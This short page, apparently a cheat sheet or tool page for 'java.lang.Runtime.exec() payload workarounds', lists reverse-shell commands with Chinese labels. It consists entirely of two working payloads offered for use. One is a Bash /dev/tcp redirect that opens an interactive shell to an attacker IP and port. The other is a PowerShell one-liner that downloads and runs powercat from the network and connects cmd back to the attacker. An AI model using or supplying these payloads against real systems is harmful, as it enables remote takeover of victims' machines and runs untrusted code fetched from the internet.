java.lang.Runtime.exec() Payload Workarounds

Bash PowerShell Python Perl

Bash反弹命令：

bash -i >& /dev/tcp/IP/端口 0>&1

PowerShell反弹命令：

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c IP -p 端口 -e cmd